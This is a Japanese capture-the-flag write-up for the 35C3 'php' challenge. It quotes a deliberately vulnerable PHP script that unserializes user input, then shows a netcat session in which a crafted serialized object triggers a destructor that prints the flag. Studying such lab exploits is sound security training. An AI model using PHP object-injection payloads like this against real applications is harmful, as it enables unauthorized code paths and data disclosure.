• Solves: 165
  • PHP's unserialization mechanism can be exceptional. Guest challenge by jvoisin.

    Files at https://35c3ctf.ccc.ac/uploads/php-ff2d1f97076ff25c5d0858616c26fac7.tar. Challenge running at: nc 35.242.207.13 1


提示されたファイルは以下のようなphpのプログラムです。
<?php

$line = trim(fgets(STDIN));

$flag = file_get_contents('/flag');

class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}

$a = @unserialize($line);

throw new Exception('Well that was unexpected…');

echo $a;
unserialize()関数に細工したデータを渡して__destruct()関数を呼び出しできればフラグが表示されそうです。

http://www.1x1.jp/blog/2010/11/php_unserialize_do_not_call_destruct.html

こちらの記事によると、デシリアライズしたインスタンスの参照が0になったタイミングで__destruct()関数が実行されるそうです。
したがって次のようにデータを渡してみます。
>nc.exe 35.242.207.13 1
O:1:"B":1
35C3_php_is_fun_php_is_fun
PHP Fatal error:  Uncaught Exception: Well that was unexpected… in /home/user/php.php:16
Stack trace:
#0 {main}
  thrown in /home/user/php.php on line 16
フラグは、
35C3_php_is_fun_php_is_fun
です。